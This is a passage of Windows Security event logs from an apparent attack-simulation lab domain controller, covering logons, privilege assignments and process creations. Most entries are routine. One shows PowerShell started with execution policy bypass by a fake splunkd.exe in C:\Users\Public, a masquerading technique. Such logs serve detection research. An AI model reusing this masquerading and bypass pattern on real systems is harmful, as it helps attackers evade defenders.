	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253667
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8e8
	New Process Name:	C:\Windows\System32\taskhostw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	taskhostw.exe SYSTEM

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253695
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xb80
	Creator Process Name:	C:\Users\Public\splunkd.exe
	Process Command Line:	powershell.exe -ExecutionPolicy Bypass -C hycwcy

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253694
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc20
	New Process Name:	C:\Windows\System32\wbem\unsecapp.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\unsecapp.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253693
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7fc
	New Process Name:	C:\Windows\System32\dfsrs.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\DFSRs.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253692
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x34c
	New Process Name:	C:\Windows\System32\dfssvc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\dfssvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253691
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x914
	New Process Name:	C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253690
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253689
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253688
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253687
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253686
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253685
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253684
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8cc
	New Process Name:	C:\Program Files\Amazon\XenTools\LiteAgent.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	"C:\Program Files\Amazon\XenTools\LiteAgent.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253683
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9a0
	New Process Name:	C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253682
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb50
	New Process Name:	C:\Windows\sysmon64.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\sysmon64.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253681
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb7c
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k appmodel

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253680
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x2638A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	NTLM V1
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253679
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253678
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253677
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253676
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
